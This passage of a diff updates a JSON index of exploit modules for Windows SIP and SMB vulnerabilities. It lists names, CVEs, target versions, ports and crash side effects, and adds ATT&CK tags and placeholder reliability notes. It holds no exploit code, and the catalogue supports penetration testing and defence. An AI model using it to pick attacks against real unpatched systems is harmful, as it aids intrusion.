"/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb", "is_install_path": true, "ref_name": "windows/scada/yokogawa_bkhodeq_bof", @@ -193606,6 +198958,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -193613,34 +198974,31 @@ "exploit_windows/sip/aim_triton_cseq": { "name": "AIM Triton 1.0.4 CSeq Buffer Overflow", "fullname": "exploit/windows/sip/aim_triton_cseq", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-07-10", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a buffer overflow in AOL\\'s AIM\n Triton 1.0.4. By sending an overly long CSeq value,\n a remote attacker could overflow a buffer and execute\n arbitrary code on the system with the privileges of\n the affected application.", + "description": "This module exploits a buffer overflow in AOL\\'s AIM\n Triton 1.0.4. By sending an overly long CSeq value,\n a remote attacker could overflow a buffer and execute\n arbitrary code on the system with the privileges of\n the affected application.", "references": [ "CVE-2006-3524", "OSVDB-27122", - "BID-18906" + "BID-18906", + "ATT&CK-T1059", + "ATT&CK-T1068", + "ATT&CK-T1204.002" ], "platform": "Windows", "arch": "", "rport": 5061, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "AIM Triton 1.0.4 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-06 12:39:33 +0000", "path": "/modules/exploits/windows/sip/aim_triton_cseq.rb", "is_install_path": true, "ref_name": "windows/sip/aim_triton_cseq", @@ -193648,6 +199006,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -193655,16 +199022,14 @@ "exploit_windows/sip/sipxezphone_cseq": { "name": "SIPfoundry sipXezPhone 0.35a CSeq Field Overflow", "fullname": "exploit/windows/sip/sipxezphone_cseq", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-07-10", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a buffer overflow in SIPfoundry's\n sipXezPhone version 0.35a. By sending an long CSeq header,\n a remote attacker could overflow a buffer and execute\n arbitrary code on the system with the privileges of\n the affected application.", + "description": "This module exploits a buffer overflow in SIPfoundry's\n sipXezPhone version 0.35a. By sending an long CSeq header,\n a remote attacker could overflow a buffer and execute\n arbitrary code on the system with the privileges of\n the affected application.", "references": [ "CVE-2006-3524", "OSVDB-27122", @@ -193673,16 +199038,12 @@ "platform": "Windows", "arch": "", "rport": 5060, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "sipXezPhone 0.35a Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/sip/sipxezphone_cseq.rb", "is_install_path": true, "ref_name": "windows/sip/sipxezphone_cseq", @@ -193690,6 +199051,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -193697,16 +199067,14 @@ "exploit_windows/sip/sipxphone_cseq": { "name": "SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow", "fullname": "exploit/windows/sip/sipxphone_cseq", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-07-10", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a buffer overflow in SIPfoundry's\n sipXphone 2.6.0.27. By sending an overly long CSeq value,\n a remote attacker could overflow a buffer and execute\n arbitrary code on the system with the privileges of\n the affected application.", + "description": "This module exploits a buffer overflow in SIPfoundry's\n sipXphone 2.6.0.27. By sending an overly long CSeq value,\n a remote attacker could overflow a buffer and execute\n arbitrary code on the system with the privileges of\n the affected application.", "references": [ "CVE-2006-3524", "OSVDB-27122", @@ -193715,16 +199083,12 @@ "platform": "Windows", "arch": "", "rport": 5060, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "SIPfoundry sipXphone 2.6.0.27 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/sip/sipxphone_cseq.rb", "is_install_path": true, "ref_name": "windows/sip/sipxphone_cseq", @@ -193732,6 +199096,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -193739,9 +199112,7 @@ "exploit_windows/smb/cve_2020_0796_smbghost": { "name": "SMBv3 Compression Buffer Overflow", "fullname": "exploit/windows/smb/cve_2020_0796_smbghost", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2020-03-13", "type": "exploit", @@ -193763,12 +199134,8 @@ "platform": "Windows", "arch": "", "rport": 445, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 10 v1903-1909 x64" ], @@ -193793,9 +199160,7 @@ "RelatedModules": [ "exploit/windows/local/cve_2020_0796_smbghost" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -193803,33 +199168,27 @@ "exploit_windows/smb/generic_smb_dll_injection": { "name": "Generic DLL Injection From Shared Resource", "fullname": "exploit/windows/smb/generic_smb_dll_injection", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2015-03-04", "type": "exploit", "author": [ "Matthew Hall " ], - "description": "This is a general-purpose module for exploiting conditions where a DLL can be loaded\n from a specified SMB share. This module serves payloads as DLLs over an SMB service.", + "description": "This is a general-purpose module for exploiting conditions where a DLL can be loaded\n from a specified SMB share. This module serves payloads as DLLs over an SMB service.", "references": [ "CWE-114" ], "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smb/generic_smb_dll_injection.rb", "is_install_path": true, "ref_name": "windows/smb/generic_smb_dll_injection", @@ -193837,6 +199196,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -193844,9 +199212,7 @@ "exploit_windows/smb/group_policy_startup": { "name": "Group Policy Script Execution From Shared Resource", "fullname": "exploit/windows/smb/group_policy_startup", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2015-01-26", "type": "exploit", @@ -193854,7 +199220,7 @@ "Sam Bertram ", "juan vazquez " ], - "description": "This is a general-purpose module for exploiting systems with Windows Group Policy\n configured to load VBS startup/logon scripts from remote locations. This module runs\n a SMB shared resource that will provide a payload through a VBS file. Startup scripts\n will be executed with SYSTEM privileges, while logon scripts will be executed with the\n user privileges. Have into account which the attacker still needs to redirect the\n target traffic to the fake SMB share to exploit it successfully. Please note in some\n cases, it will take 5 to 10 minutes to receive a session.", + "description": "This is a general-purpose module for exploiting systems with Windows Group Policy\n configured to load VBS startup/logon scripts from remote locations. This module runs\n a SMB shared resource that will provide a payload through a VBS file. Startup scripts\n will be executed with SYSTEM privileges, while logon scripts will be executed with the\n user privileges. Have into account which the attacker still needs to redirect the\n target traffic to the fake SMB share to exploit it successfully. Please note in some\n cases, it will take 5 to 10 minutes to receive a session.", "references": [ "URL-http://blog.gdssecurity.com/labs/2015/1/26/badsamba-exploiting-windows-startup-scripts-using-a-maliciou.html", "URL-https://github.com/GDSSecurity/BadSamba" @@ -193862,17 +199228,13 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/smb/group_policy_startup.rb", "is_install_path": true, "ref_name": "windows/smb/group_policy_startup", @@ -193882,6 +199244,15 @@ "notes": { "AKA": [ "badsamba" + ], + "Stability": [ + "unknown-stability" + ], + "Reliability": [ + "unknown-reliability" + ], + "SideEffects": [ + "unknown-side-effects" ] }, "session_types": false, @@ -193890,9 +199261,7 @@ "exploit_windows/smb/ipass_pipe_exec": { "name": "IPass Control Pipe Remote Command Execution", "fullname": "exploit/windows/smb/ipass_pipe_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-01-21", "type": "exploit", @@ -193900,7 +199269,7 @@ "Matthias Kaiser", "h0ng10 " ], - "description": "This module exploits a vulnerability in the IPass Client service. This service provides a\n named pipe which can be accessed by the user group BUILTIN\\Users. This pipe can be abused\n to force the service to load a DLL from a SMB share.", + "description": "This module exploits a vulnerability in the IPass Client service. This service provides a\n named pipe which can be accessed by the user group BUILTIN\\Users. This pipe can be abused\n to force the service to load a DLL from a SMB share.", "references": [ "CVE-2015-0925", "OSVDB-117423", @@ -193922,7 +199291,7 @@ "Windows x32", "Windows x64" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smb/ipass_pipe_exec.rb", "is_install_path": true, "ref_name": "windows/smb/ipass_pipe_exec", @@ -193930,6 +199299,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -193937,16 +199315,14 @@ "exploit_windows/smb/ms03_049_netapi": { "name": "MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow", "fullname": "exploit/windows/smb/ms03_049_netapi", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2003-11-11", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits a stack buffer overflow in the NetApi32 NetAddAlternateComputerName\n function using the Workstation service in Windows XP.", + "description": "This module exploits a stack buffer overflow in the NetApi32 NetAddAlternateComputerName\n function using the Workstation service in Windows XP.", "references": [ "CVE-2003-0812", "OSVDB-11461", @@ -193967,7 +199343,7 @@ "targets": [ "Windows XP SP0/SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smb/ms03_049_netapi.rb", "is_install_path": true, "ref_name": "windows/smb/ms03_049_netapi", @@ -193975,6 +199351,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -193982,16 +199367,14 @@ "exploit_windows/smb/ms04_007_killbill": { "name": "MS04-007 Microsoft ASN.1 Library Bitstring Heap Overflow", "fullname": "exploit/windows/smb/ms04_007_killbill", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": "2004-02-10", "type": "exploit", "author": [ "Solar Eclipse " ], - "description": "This is an exploit for a previously undisclosed\n vulnerability in the bit string decoding code in the\n Microsoft ASN.1 library. This vulnerability is not related\n to the bit string vulnerability described in eEye advisory\n AD20040210-2. Both vulnerabilities were fixed in the\n MS04-007 patch. Windows 2000 SP4 Rollup 1 also patches this\n vulnerability.\n\n You are only allowed one attempt with this vulnerability. If\n the payload fails to execute, the LSASS system service will\n crash and the target system will automatically reboot itself\n in 60 seconds. If the payload succeeds, the system will no\n longer be able to process authentication requests, denying\n all attempts to login through SMB or at the console. A\n reboot is required to restore proper functioning of an\n exploited system.\n\n This exploit has been successfully tested with the win32/*/reverse_tcp\n payloads, however a few problems were encountered when using the\n equivalent bind payloads. Your mileage may vary.", + "description": "This is an exploit for a previously undisclosed\n vulnerability in the bit string decoding code in the\n Microsoft ASN.1 library. This vulnerability is not related\n to the bit string vulnerability described in eEye advisory\n AD20040210-2. Both vulnerabilities were fixed in the\n MS04-007 patch. Windows 2000 SP4 Rollup 1 also patches this\n vulnerability.\n\n You are only allowed one attempt with this vulnerability. If\n the payload fails to execute, the LSASS system service will\n crash and the target system will automatically reboot itself\n in 60 seconds. If the payload succeeds, the system will no\n longer be able to process authentication requests, denying\n all attempts to login through SMB or at the console. A\n reboot is required to restore proper functioning of an\n exploited system.\n\n This exploit has been successfully tested with the win32/*/reverse_tcp\n payloads, however a few problems were encountered when using the\n equivalent bind payloads. Your mileage may vary.", "references": [ "CVE-2003-0818", "OSVDB-3902", @@ -194012,7 +199395,7 @@ "targets": [ "Windows 2000 SP2-SP4 + Windows XP SP0-SP1" ], - "mod_time": "2022-07-10 00:07:26 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/smb/ms04_007_killbill.rb", "is_install_path": true, "ref_name": "windows/smb/ms04_007_killbill", @@ -194029,6 +199412,9 @@ "Stability": [ "crash-os-restarts", "crash-service-down" + ], + "SideEffects": [ + "unknown-side-effects" ] }, "session_types": false, @@ -194037,16 +199423,14 @@ "exploit_windows/smb/ms04_011_lsass": { "name": "MS04-011 Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow", "fullname": "exploit/windows/smb/ms04_011_lsass", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2004-04-13", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits a stack buffer overflow in the LSASS service, this vulnerability\n was originally found by eEye. When re-exploiting a Windows XP system, you will need\n need to run this module twice. DCERPC request fragmentation can be performed by setting\n 'FragSize' parameter.", + "description": "This module exploits a stack buffer overflow in the LSASS service, this vulnerability\n was originally found by eEye. When re-exploiting a Windows XP system, you will need\n need to run this module twice. DCERPC request fragmentation can be performed by setting\n 'FragSize' parameter.", "references": [ "CVE-2003-0533", "OSVDB-5248", @@ -194069,7 +199453,7 @@ "Windows 2000 English", "Windows XP English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smb/ms04_011_lsass.rb", "is_install_path": true, "ref_name": "windows/smb/ms04_011_lsass", @@ -194077,6 +199461,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -194084,16 +199477,14 @@ "exploit_windows/smb/ms04_031_netdde": { "name": "MS04-031 Microsoft NetDDE Service Overflow", "fullname": "exploit/windows/smb/ms04_031_netdde", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2004-10-12", "type": "exploit", "author": [ "pusscat " ], - "description": "This module exploits a stack buffer overflow in the NetDDE service, which is the\n precursor to the DCOM interface. This exploit effects only operating systems\n released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsoft's claim\n that this vulnerability can be exploited without authentication, the NDDEAPI\n pipe is only accessible after successful authentication.", + "description": "This module exploits a stack buffer overflow in the NetDDE service, which is the\n precursor to the DCOM interface. This exploit effects only operating systems\n released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsoft's claim\n that this vulnerability can be exploited without authentication, the NDDEAPI\n pipe is only accessible after successful authentication.", "references": [ "CVE-2004-0206", "OSVDB-10689", @@ -194114,7 +199505,7 @@ "targets": [ "Windows 2000 SP4" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smb/ms04_031_netdde.rb", "is_install_path": true, "ref_name": "windows/smb/ms04_031_netdde", @@ -194122,6 +199513,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -194129,9 +199529,7 @@ "exploit_windows/smb/ms05_039_pnp": { "name": "MS05-039 Microsoft Plug and Play Service Overflow", "fullname": "exploit/windows/smb/ms05_039_pnp", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2005-08-09", "type": "exploit", @@ -194139,7 +199537,7 @@ "hdm ", "cazz " ], - "description": "This module exploits a stack buffer overflow in the Windows Plug\n and Play service. This vulnerability can be exploited on\n Windows 2000 without a valid user account.\n\n NOTE: Since the PnP service runs inside the service.exe process, a failed\n exploit attempt will cause the system to automatically reboot.", + "description": "This module exploits a stack buffer overflow in the Windows Plug\n and Play service. This vulnerability can be exploited on\n Windows 2000 without a valid user account.\n\n NOTE: Since the PnP service runs inside the service.exe process, a failed\n exploit attempt will cause the system to automatically reboot.", "references": [ "CVE-2005-1983", "OSVDB-18605", @@ -194169,7 +199567,7 @@ "Windows Server 2003 SP0 English (Requires Admin)", "Windows Server 2003 SP1 English (Requires Admin)" ], - "mod_time": "2021-11-28 13:39:05 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smb/ms05_039_pnp.rb", "is_install_path": true, "ref_name": "windows/smb/ms05_039_pnp", @@ -194177,6 +199575,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -194184,9 +199591,7 @@ "exploit_windows/smb/ms06_025_rasmans_reg": { "name": "MS06-025 Microsoft RRAS Service RASMAN Registry Overflow", "fullname": "exploit/windows/smb/ms06_025_rasmans_reg", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-06-13", "type": "exploit", @@ -194194,7 +199599,7 @@ "pusscat ", "hdm " ], - "description": "This module exploits a registry-based stack buffer overflow in the Windows Routing\n and Remote Access Service. Since the service is hosted inside svchost.exe,\n a failed exploit attempt can cause other system services to fail as well.\n A valid username and password is required to exploit this flaw on Windows 2000.\n When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'.\n Exploiting this flaw involves two distinct steps - creating the registry key\n and then triggering an overwrite based on a read of this key. Once the key is\n created, it cannot be recreated. This means that for any given system, you\n only get one chance to exploit this flaw. Picking the wrong target will require\n a manual removal of the following registry key before you can try again:\n HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\RAS Phonebook", + "description": "This module exploits a registry-based stack buffer overflow in the Windows Routing\n and Remote Access Service. Since the service is hosted inside svchost.exe,\n a failed exploit attempt can cause other system services to fail as well.\n A valid username and password is required to exploit this flaw on Windows 2000.\n When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'.\n Exploiting this flaw involves two distinct steps - creating the registry key\n and then triggering an overwrite based on a read of this key. Once the key is\n created, it cannot be recreated. This means that for any given system, you\n only get one chance to exploit this flaw. Picking the wrong target will require\n a manual removal of the following registry key before you can try again:\n HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\RAS Phonebook", "references": [ "CVE-2006-2370", "OSVDB-26437", @@ -194215,7 +199620,7 @@ "targets": [ "Windows 2000 SP4" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb", "is_install_path": true, "ref_name": "windows/smb/ms06_025_rasmans_reg", @@ -194223,6 +199628,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -194230,9 +199644,7 @@ "exploit_windows/smb/ms06_025_rras": { "name": "MS06-025 Microsoft RRAS Service Overflow", "fullname": "exploit/windows/smb/ms06_025_rras", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-06-13", "type": "exploit", @@ -194240,7 +199652,7 @@ "Nicolas Pouvesle ", "hdm " ], - "description": "This module exploits a stack buffer overflow in the Windows Routing and Remote\n Access Service. Since the service is hosted inside svchost.exe, a failed\n exploit attempt can cause other system services to fail as well. A valid\n username and password is required to exploit this flaw on Windows 2000.\n When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'.", + "description": "This module exploits a stack buffer overflow in the Windows Routing and Remote\n Access Service. Since the service is hosted inside svchost.exe, a failed\n exploit attempt can cause other system services to fail as well. A valid\n username and password is required to exploit this flaw on Windows 2000.\n When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'.", "references": [ "CVE-2006-2370", "OSVDB-26437", @@ -194263,7 +199675,7 @@ "Windows 2000 SP4", "Windows XP SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smb/ms06_025_rras.rb", "is_install_path": true, "ref_name": "windows/smb/ms06_025_rras", @@ -194271,6 +199683,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -194278,16 +199699,14 @@ "exploit_windows/smb/ms06_040_netapi": { "name": "MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow", "fullname": "exploit/windows/smb/ms06_040_netapi", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-08-08", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits a stack buffer overflow in the NetApi32 CanonicalizePathName() function\n using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that\n other RPC calls could be used to exploit this service. This exploit will result in\n a denial of service on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt\n will likely result in a complete reboot on Windows 2000 and the termination of all\n SMB-related services on Windows XP. The default target for this exploit should succeed\n on Windows NT 4.0, Windows 2000 SP0-SP4+, Windows XP SP0-SP1 and Windows 2003 SP0.", + "description": "This module exploits a stack buffer overflow in the NetApi32 CanonicalizePathName() function\n using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that\n other RPC calls could be used to exploit this service. This exploit will result in\n a denial of service on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt\n will likely result in a complete reboot on Windows 2000 and the termination of all\n SMB-related services on Windows XP. The default target for this exploit should succeed\n on Windows NT 4.0, Windows 2000 SP0-SP4+, Windows XP SP0-SP1 and Windows 2003 SP0.", "references": [ "CVE-2006-3439", "OSVDB-27845", @@ -194313,7 +199732,7 @@ "(stack) Windows XP SP1 Italian", "(wcscpy) Windows 2003 SP0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/smb/ms06_040_netapi.rb", "is_install_path": true, "ref_name": "windows/smb/ms06_040_netapi", @@ -194327,6 +199746,9 @@ "Stability": [ "crash-os-restarts", "crash-service-down" + ], + "SideEffects": [ + "unknown-side-effects" ] }, "session_types": false, @@ -194335,16 +199757,14 @@ "exploit_windows/smb/ms06_066_nwapi": { "name": "MS06-066 Microsoft Services nwapi32.dll Module Exploit", "fullname": "exploit/windows/smb/ms06_066_nwapi", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-11-14", "type": "exploit", "author": [ "pusscat " ], - "description": "This module exploits a stack buffer overflow in the svchost service when the netware\n client service is running. This specific vulnerability is in the nwapi32.dll module.", + "description": "This module exploits a stack buffer overflow in the svchost service when the netware\n client service is running. This specific vulnerability is in the nwapi32.dll module.", "references": [ "CVE-2006-4688", "OSVDB-30260", @@ -194365,7 +199785,7 @@ "targets": [ "Windows XP SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smb/ms06_066_nwapi.rb", "is_install_path": true, "ref_name": "windows/smb/ms06_066_nwapi", @@ -194373,6 +199793,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -194380,16 +199809,14 @@ "exploit_windows/smb/ms06_066_nwwks": { "name": "MS06-066 Microsoft Services nwwks.dll Module Exploit", "fullname": "exploit/windows/smb/ms06_066_nwwks", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-11-14", "type": "exploit", "author": [ "pusscat " ], - "description": "This module exploits a stack buffer overflow in the svchost service, when the netware\n client service is running. This specific vulnerability is in the nwapi32.dll module.", + "description": "This module exploits a stack buffer overflow in the svchost service, when the netware\n client service is running. This specific vulnerability is in the nwapi32.dll module.", "references": [ "CVE-2006-4688", "OSVDB-30260", @@ -194410,7 +199837,7 @@ "targets": [ "Windows XP SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smb/ms06_066_nwwks.rb", "is_install_path": true, "ref_name": "windows/smb/ms06_066_nwwks", @@ -194418,6 +199845,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -194425,16 +199861,14 @@ "exploit_windows/smb/ms06_070_wkssvc": { "name": "MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow", "fullname": "exploit/windows/smb/ms06_070_wkssvc", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2006-11-14", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a stack buffer overflow in the NetApi32 NetpManageIPCConnect\n function using the Workstation service in Windows 2000 SP4 and Windows XP SP2.\n\n In order to exploit this vulnerability, you must specify the name of a\n valid Windows DOMAIN. It may be possible to satisfy this condition by using\n a custom DNS and LDAP setup, however that method is not covered here.\n\n Although Windows XP SP2 is vulnerable, Microsoft reports that Administrator\n credentials are required to reach the vulnerable code. Windows XP SP1 only\n requires valid user credentials. Also, testing shows that a machine already\n joined to a domain is not exploitable.", + "description": "This module exploits a stack buffer overflow in the NetApi32 NetpManageIPCConnect\n function using the Workstation service in Windows 2000 SP4 and Windows XP SP2.\n\n In order to exploit this vulnerability, you must specify the name of a\n valid Windows DOMAIN. It may be possible to satisfy this condition by using\n a custom DNS and LDAP setup, however that method is not covered here.\n\n Although Windows XP SP2 is vulnerable, Microsoft reports that Administrator\n credentials are required to reach the vulnerable code. Windows XP SP1 only\n requires valid user credentials. Also, testing shows that a machine already\n joined to a domain is not exploitable.", "references": [ "CVE-2006-4691", "OSVDB-30263", @@ -194457,7 +199891,7 @@ "Windows 2000 SP4", "Windows XP SP0/SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smb/ms06_070_wkssvc.rb", "is_install_path": true, "ref_name": "windows/smb/ms06_070_wkssvc", @@ -194465,6 +199899,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -194472,9 +199915,7 @@ "exploit_windows/smb/ms07_029_msdns_zonename": { "name": "MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)", "fullname": "exploit/windows/smb/ms07_029_msdns_zonename", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2007-04-12", "type": "exploit", @@ -194483,7 +199924,7 @@ "Unknown", "bcoles " ], - "description": "This module exploits a stack buffer overflow in the RPC interface\n of the Microsoft DNS service. The vulnerability is triggered\n when a long zone name parameter is supplied that contains\n escaped octal strings. This module is capable of bypassing NX/DEP\n protection on Windows 2003 SP1/SP2. This module exploits the\n RPC service using the \\DNSSERVER pipe available via SMB. This\n pipe requires a valid user account to access, so the SMBUSER\n and SMBPASS options must be specified.", + "description": "This module exploits a stack buffer overflow in the RPC interface\n of the Microsoft DNS service. The vulnerability is triggered\n when a long zone name parameter is supplied that contains\n escaped octal strings. This module is capable of bypassing NX/DEP\n protection on Windows 2003 SP1/SP2. This module exploits the\n RPC service using the \\DNSSERVER pipe available via SMB. This\n pipe requires a valid user account to access, so the SMBUSER\n and SMBPASS options must be specified.", "references": [ "CVE-2007-1748", "OSVDB-34100", @@ -194525,7 +199966,7 @@ "Windows 2003 Server SP1-SP2 Russian", "Windows 2003 Server SP1-SP2 Simplified Chinese" ], - "mod_time": "2021-11-30 07:38:08 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb", "is_install_path": true, "ref_name": "windows/smb/ms07_029_msdns_zonename", @@ -194533,6 +199974,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -194540,9 +199990,7 @@ "exploit_windows/smb/ms08_067_netapi": { "name": "MS08-067 Microsoft Server Service Relative Path Stack Corruption", "fullname": "exploit/windows/smb/ms08_067_netapi", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": 